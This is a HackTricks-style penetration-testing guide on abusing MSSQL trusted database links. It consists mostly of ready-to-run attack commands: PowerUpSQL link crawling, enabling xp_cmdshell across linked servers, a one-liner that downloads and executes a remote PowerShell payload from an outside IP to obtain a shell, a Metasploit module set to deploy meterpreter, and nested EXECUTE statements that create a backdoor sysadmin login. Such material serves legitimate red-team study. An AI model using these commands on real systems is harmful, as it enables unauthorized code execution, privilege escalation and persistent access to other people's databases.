MSSQL Trusted Links

Support HackTricks and get benefits!
MSSQL Trusted Links
If a user has privileges to access MSSQL instances, he could be able to use it to execute commands in the MSSQL host (if running as SA).
Also, if a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to use the trust relationship to execute queries also in the other instance. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
The links between databases work even across forest trusts.
Powershell
1
Import-Module .\PowerupSQL.psd1
2
​
3
#Get local MSSQL instance (if any)
4
Get-SQLInstanceLocal
5
Get-SQLInstanceLocal | Get-SQLServerInfo
6
​
7
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
8
#First, you will need a list of hosts to scan
9
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
10
​
11
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
12
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
13
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
14
​
15
# FROM INSIDE OF THE DOMAIN
16
#Get info about valid MSQL instances running in domain
17
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
18
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose 
19
​
20
#Test connections with each one
21
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
22
​
23
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
24
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
25
​
26
#Dump an instance (a lotof CVSs generated in current dir)
27
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
28
​
29
#Look for MSSQL links of an accessible instance
30
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
31
​
32
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
33
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
34
​
35
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
36
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
37
​
38
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
39
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
40
​
41
#Obtain a shell
42
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
43
​
44
#Check for possible vulnerabilities on an instance where you have access
45
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
46
​
47
#Try to escalate privileges on an instance
48
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
Copied!
Metasploit
You can easily check for trusted links using metasploit.
1
#Set username, password, windows auth (if using AD), IP...
2
msf> use exploit/windows/mssql/mssql_linkcrawler
3
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Copied!
Notice that metasploit will try to abuse only the openquery() function in MSSQL (so, if you can't execute command with openquery() you will need to try the EXECUTE method manually to execute commands, see more below.)
Manual - Openquery()
From Linux you could obtain a MSSQL console shell with sqsh and mssqlclient.py and run queries like:
1
select * from openquery("DOMINIO\SERVER1",'select * from openquery("DOMINIO\SERVER2",''select * from master..sysservers'')')
Copied!
From Windows you could also find the links and execute commands manually using a MSSQL client like HeidiSQL​
Login using Windows authentication:
Find links inside the accessible MSSQL server (in this case the link is to dcorp-sql1):
__select * from master..sysservers
Execute queries through the link (example: find more links in the new accessible instance):
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
You can continue these trusted links chain forever manually.
Some times you won't be able to perform actions like exec xp_cmdshell from openquery() in those cases it might be worth it to test the following method:
Manual - EXECUTE
You can also abuse trusted links using EXECUTE:
1
#Create user and give admin privileges
2
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''[email protected]'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
3
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
Copied!
Support HackTricks and get benefits!

Kerberoast

Over Pass the Hash/Pass the Key

Last modified 19d ago

Copy link

Contents